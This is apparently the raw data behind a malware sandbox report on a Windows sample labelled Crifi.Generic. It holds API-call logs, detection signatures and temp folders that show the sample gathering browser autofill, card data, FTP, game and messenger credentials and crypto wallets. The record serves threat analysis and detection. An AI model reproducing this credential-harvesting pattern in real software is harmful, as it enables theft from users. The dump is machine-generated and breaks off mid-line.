26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 7e:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T49b,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Crifi.Generic Sample cc7ad818e9d4… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample cc7ad818e9d4…. Malware family: Crifi.Generic. Threat score 100/100. 7/25 AV engines flagged this file. 25 malicious and 21 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/cc7ad818e9d4037c72b8cafeee214ecf2f6fe6c9af43ebfa221fb68cc7b5f966","keywords":["Malicious","Crifi.Generic","malware analysis","sandbox report","threat intelligence","cc7ad818e9d4037c72b8cafeee214ecf2f6fe6c9af43ebfa221fb68cc7b5f966"],"about":{"@type":"SoftwareApplication","name":"3a9c8dc060b839403dcfc8a72d29defd.exe","applicationCategory":["peexe","executable"],"identifier":"cc7ad818e9d4037c72b8cafeee214ecf2f6fe6c9af43ebfa221fb68cc7b5f966","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Crifi.Generic","antivirusDetections":{"malicious":7,"total":25},"behavioralIndicators":{"malicious":25,"suspicious":21},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T5e2,"3a9c8dc060b839403dcfc8a72d29defd.exe" called "FindResourceA" with parameter "13898360" - (UID: 00000000-00007404) "3a9c8dc060b839403dcfc8a72d29defd.exe" called "FindResourceA" with parameter "13898368" - (UID: 00000000-00007404) "3a9c8dc060b839403dcfc8a72d29defd.exe" called "FindResourceA" with parameter "13898396" - (UID: 00000000-00007404) "3a9c8dc060b839403dcfc8a72d29defd.exe" called "FindResourceA" with parameter "13898608" - (UID: 00000000-00007404) "3a9c8dc060b839403dcfc8a72d29defd.exe" called "FindResourceA" with parameter "13898424" - (UID: 00000000-00007404) "3a9c8dc060b839403dcfc8a72d29defd.exe" called "FindResourceA" with parameter "13898580" - (UID: 00000000-00007404) "3a9c8dc060b839403dcfc8a72d29defd.exe" called "FindResourceA" with parameter "13898592" - (UID: 00000000-00007404) "3a9c8dc060b839403dcfc8a72d29defd.exe" called "FindResourceA" with parameter "21493680" - (UID: 00000000-00007404) "3a9c8dc060b839403dcfc8a72d29defd.exe" called "FindResourceA" with parameter "13898476" - (UID: 00000000-00007404) "3a9c8dc060b839403dcfc8a72d29defd.exe" called "FindResourceA" with parameter "13898572" - (UID: 00000000-00007404) "3a9c8dc060b839403dcfc8a72d29defd.exe" called "FindResourceA" with parameter "21493676" - (UID: 00000000-00007404) "3a9c8dc060b839403dcfc8a72d29defd.exe" called "FindResourceA" with parameter "13898440" - (UID: 00000000-00007404) "3a9c8dc060b839403dcfc8a72d29defd.exe" called "FindResourceA" with parameter "13898448" - (UID: 00000000-00007404)28:Tb8f,"3a9c8dc060b839403dcfc8a72d29defd.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13944960'}" (UID: 00000000-00007404) "3a9c8dc060b839403dcfc8a72d29defd.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13944816'}" (UID: 00000000-00007404) "3a9c8dc060b839403dcfc8a72d29defd.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13944976'}" (UID: 00000000-00007404) "3a9c8dc060b839403dcfc8a72d29defd.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13944864'}" (UID: 00000000-00007404) "3a9c8dc060b839403dcfc8a72d29defd.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13944832'}" (UID: 00000000-00007404) "3a9c8dc060b839403dcfc8a72d29defd.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13944880'}" (UID: 00000000-00007404) "3a9c8dc060b839403dcfc8a72d29defd.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13944928'}" (UID: 00000000-00007404) "3a9c8dc060b839403dcfc8a72d29defd.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13944800'}" (UID: 00000000-00007404) "3a9c8dc060b839403dcfc8a72d29defd.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13944912'}" (UID: 00000000-00007404) "3a9c8dc060b839403dcfc8a72d29defd.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13944944'}" (UID: 00000000-00007404) "Lm3NB63.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13944960'}" (UID: 00000000-00005872) "Lm3NB63.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13944816'}" (UID: 00000000-00005872) "Lm3NB63.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13944976'}" (UID: 00000000-00005872) "Lm3NB63.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13944864'}" (UID: 00000000-00005872) "Lm3NB63.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13944832'}" (UID: 00000000-00005872) "Lm3NB63.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13944880'}" (UID: 00000000-00005872) "Lm3NB63.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13944928'}" (UID: 00000000-00005872) "Lm3NB63.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13944800'}" (UID: 00000000-00005872) "Lm3NB63.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13944912'}" (UID: 00000000-00005872) "Lm3NB63.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13944944'}" (UID: 00000000-00005872) "Rb3sH52.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '3131520'}" (UID: 00000000-00004768) "Rb3sH52.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '3131376'}" (UID: 00000000-00004768) "Rb3sH52.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '3131536'}" (UID: 00000000-00004768)29:Taf9,"3a9c8dc060b839403dcfc8a72d29defd.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00007404) "Lm3NB63.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00005872) "Lm3NB63.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP001.TMP (UID: 00000000-00005872) "Rb3sH52.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00004768) "Rb3sH52.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP001.TMP (UID: 00000000-00004768) "Rb3sH52.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP002.TMP (UID: 00000000-00004768) "cN5Rh86.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00007136) "cN5Rh86.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP001.TMP (UID: 00000000-00007136) "cN5Rh86.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP002.TMP (UID: 00000000-00007136) "cN5Rh86.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP003.TMP (UID: 00000000-00007136) "2cD4503.exe" called "RemoveDirectoryW" with parameter %TEMP%\jobA3N197yiTuMlDC\Autofill (UID: 00000000-00005152) "2cD4503.exe" called "RemoveDirectoryW" with parameter %TEMP%\jobA3N197yiTuMlDC\CC (UID: 00000000-00005152) "2cD4503.exe" called "RemoveDirectoryW" with parameter %TEMP%\jobA3N197yiTuMlDC\FTP\FileZilla (UID: 00000000-00005152) "2cD4503.exe" called "RemoveDirectoryW" with parameter %TEMP%\jobA3N197yiTuMlDC\FTP\TotalCommander (UID: 00000000-00005152) "2cD4503.exe" called "RemoveDirectoryW" with parameter %TEMP%\jobA3N197yiTuMlDC\FTP (UID: 00000000-00005152) "2cD4503.exe" called "RemoveDirectoryW" with parameter %TEMP%\jobA3N197yiTuMlDC\Games\Growtopia (UID: 00000000-00005152) "2cD4503.exe" called "RemoveDirectoryW" with parameter %TEMP%\jobA3N197yiTuMlDC\Games\Minecraft (UID: 00000000-00005152) "2cD4503.exe" called "RemoveDirectoryW" with parameter %TEMP%\jobA3N197yiTuMlDC\Games\TLauncher (UID: 00000000-00005152) "2cD4503.exe" called "RemoveDirectoryW" with parameter %TEMP%\jobA3N197yiTuMlDC\Games\FeatherClient (UID: 00000000-00005152) "2cD4503.exe" called "RemoveDirectoryW" with parameter %TEMP%\jobA3N197yiTuMlDC\Games\LunarClient (UID: 00000000-00005152) "2cD4503.exe" called "RemoveDirectoryW" with parameter %TEMP%\jobA3N197yiTuMlDC\Games\Battle.net (UID: 00000000-00005152) "2cD4503.exe" called "RemoveDirectoryW" with parameter %TEMP%\jobA3N197yiTuMlDC\Games\Steam (UID: 00000000-00005152) "2cD4503.exe" called "RemoveDirectoryW" with parameter %TEMP%\jobA3N197yiTuMlDC\Games (UID: 00000000-00005152) "2cD4503.exe" called "RemoveDirectoryW" with parameter %TEMP%\jobA3N197yiTuMlDC\Messengers\Skype (UID: 00000000-00005152) "2cD4503.exe" called "RemoveDirectoryW" with parameter %TEMP%\jobA3N197yiTuMlDC\Messengers\Element (UID: 00000000-00005152)2a:T7bc,Observed namespace "System.IO.MemoryStream" and TypeReference ".ctor" in "rise.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "" in "rise.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "ReadInt64" in "rise.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "SizeOf" in "rise.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "AllocHGlobal" in "rise.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "WriteInt32" in "rise.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "PtrToStructure" in "rise.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "ReleaseComObject" in "rise.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "ReadIntPtr" in "rise.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "FreeHGlobal" in "rise.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "PtrToStringUni" in "rise.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "StructureToPtr" in "rise.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "WriteInt16" in "rise.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "GetLastWin32Error" in "rise.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "PtrToStringAnsi" in "rise.exe" Observed namespace "System.IO.MemoryStream" and TypeReference "Create" in "rise.exe" Observed namespace "System.IO.MemoryStream" and TypeReference "" in "rise.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "ReadByte" in "rise.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "GetDelegateForFunctionPointer" in "rise.exe"2b:T4a2,Found string - \\.\pipe\PSHost.133490094193597414.6764.DefaultAppDomain.powershell; Source: "00000000-00006764-00000C52-45709417") Found string - \\.\pipe\PSHost.133490095985075524.7848.DefaultAppDomain.powershell; Source: "00000000-00007848-00000C52-78360966") Found string - \\.\pipe\PSHost.133490095986240381.7656.DefaultAppDomain.powershell; Source: "00000000-00007656-00000C52-74608394") Found string - \\.\pipe\PSHost.133490096027467159.6820.DefaultAppDomain.powershell; Source: "00000000-00006820-00000C52-81121904") Found string - \\.\pipe\PSHost.133490096028726064.2928.DefaultAppDomain.powershell; Source: "00000000-00002928-00000C52-78257373") Found string - \\.\pipe\PSHost.133490096029993448.6792.DefaultAppDomain.powershell; Source: "00000000-00006792-00000C52-78794100") Found string - \\.\pipe\PSHost.133490096031319469.4488.DefaultAppDomain.powershell; Source: "00000000-00004488-00000C52-75699535") Found string - \\.\pipe\PSHost.133490096032697155.6420.DefaultAppDomain.powershell; Source: "00000000-00006420-00000C52-75571350") Found string - \\.\pipe\PSHost.133490096034148966.4548.DefaultAppDomain.powershell; Source: "00000000-00004548-00000C52-78454464")2c:T443,"msedge.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG" to "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old" "msedge.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG" to "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old" "msedge.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\af5f0f77-414c-41a1-a920-cf10ad9da80a.tmp" to "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\HubApps" "msedge.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG" to "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old"2d:T12ec,"powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNRAgEAAgEAAgEAAgEAAgEAMCEwCQYFKw4DAhoFAAQUvSVTZwxcxUqDUoxiH97RfI559SygghV6MIIEuzCCA6OgAwIBAgITMwAAAF3JyvZpIzdoUAAAAAAAXTANBgkqhk" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNR" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"}2e:T6a6,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Contains ability to import cryptographic keys (seen in ransomware) Matched sigs: Found XOR operators (encryption/decryption) Matched sigs: Contains reference to cryptographic keys Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Contains ability to decrypt/decode data Matched sigs: Calls an API typically to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Calls an API typically used to decrypt the data Matched sigs: Reads the cryptographic machine GUID Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Calls an API typically to import cryptographic keys into a CSP Matched sigs: Tries to steal Crypto currency wallets information (file access) Matched sigs: Sample file has high entropy (likely encrypted/compressed content) Matched sigs: Contains ability to decode string content at runtime (Dotnet) Matched sigs: Contains ability to perform crypto operations Matched sigs: YARA signature match - AES Encryption2f:T22b6,"3a9c8dc060b839403dcfc8a72d29defd.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007404) "3a9c8dc060b839403dcfc8a72d29defd.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007404) "Lm3NB63.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005872) "Lm3NB63.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005872) "Rb3sH52.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004768) "Rb3sH52.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004768) "cN5Rh86.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007136) "cN5Rh86.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007136) "1uT83YZ4.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000524f4345625d8e0a0000000000000101e000000000003e00b00d3e00000e3e00886fe7020f00000078fc9f00000000009e29467790ebe7020000000000080000000800000000e502c0fc9f000000000050000000000000000000000000000000d0073e002000000060fc9f007f21c6001075e6029c74e60202000000000000000d00000058fc9f00bb2fc600f80dd00094fc9f008e1ec600020000007e1ec600170128ed02000000a0c8cc000d0000000000000068fc9f00370645774cfd9f00202dc5004b7778edfeffffff7e1ec6002d1fc600a8fc9f00c4fc9f00acfc9f00020000000200000008000000ccfc9f002022c60002000000c4fc9f00 (UID: 00000000-00006960) "1uT83YZ4.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006960) "1uT83YZ4.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006960) "1uT83YZ4.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006960) "2cD4503.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005152) "2cD4503.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005152)30:T205d,"3a9c8dc060b839403dcfc8a72d29defd.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007d5d7308a876030000000060f6470124475d7308a87603b8f64701d5275d7308a8760301000000e0c365d9000000007f46ac1b00000000030000006cf747010a000000600f0000b0f74701e8f647015b0000000300000070f6470178f6470184f9470150595d73d8257dabfeffffffc4f7470147f25b737f46ac1b00000000 (UID: 00000000-00007404) "Lm3NB63.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000f71400cc7d5d73c0ac630000000000c8f7140024475d73c0ac630020f81400d5275d73c0ac630001000000d6bd63c900000000162f01170000000003000000d4f814000a000000e816000018f9140050f814005b00000003000000d8f71400e0f71400e8fa140050595d73765528bafeffffff28f9140047f25b73162f0117 (UID: 00000000-00005872) "Rb3sH52.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000f9e700cc7d5d7370ae230300000000d0f9e70024475d7370ae230328fae700d5275d7370ae2303010000001d5fed45000000009ab4a3160000000003000000dcfae7000a0000006c18000020fbe70058fae7005b00000003000000e0f9e700e8f9e700f0fce70050595d73b5b55536feffffff30fbe70047f25b739ab4a316 (UID: 00000000-00004768) "cN5Rh86.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000f6f000cc7d5d7348ba2f030000000018f6f00024475d7348ba2f0370f6f000d5275d7348ba2f0301000000c4f68f7a00000000dcf48918000000000300000024f7f0000a0000001c13000068f7f000a0f6f0005b0000000300000028f6f00030f6f00038f9f00050595d7334102009feffffff78f7f00047f25b73dcf48918 (UID: 00000000-00007136) "2cD4503.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000000000010000000c00000000000000000000000000000001000000010000000000000000000000720061006d00650000000000000000000000000000000000010000002f000000000000000000000063006f006e006600690067005c006d006100630000000000000065000000000000000000000000000000000000000000 (UID: 00000000-00005152) "2cD4503.exe" called "GetVersionExA" with parameter 940000000600000002000000f023000002000000001646770c000000000000002812590500003203000000001800000000000000000000000300000002000000000032030c000000000000005c37567330e42f01ee13467728125905ee13467700000000000000000c000000404dfd0948e42f012823207200003203000000000c000000b0b4690554e42f012f99e36e0c000000 (UID: 00000000-00005152) "2cD4503.exe" called "GetVersionExA" with parameter 940000000600000002000000f023000002000000001646770c000000000000000000000000003203200000001800000000000000000000000300000002000000000032030c00000000000000ace42f0198e42f01ee13467700000000ee13467700000000000000000c000000ffffb96eb0e42f012823207200003203000000000c0000000832e36ebce42f012f99e36e0c000000 (UID: 00000000-00005152) "2cD4503.exe" called "GetVersionExA" with parameter 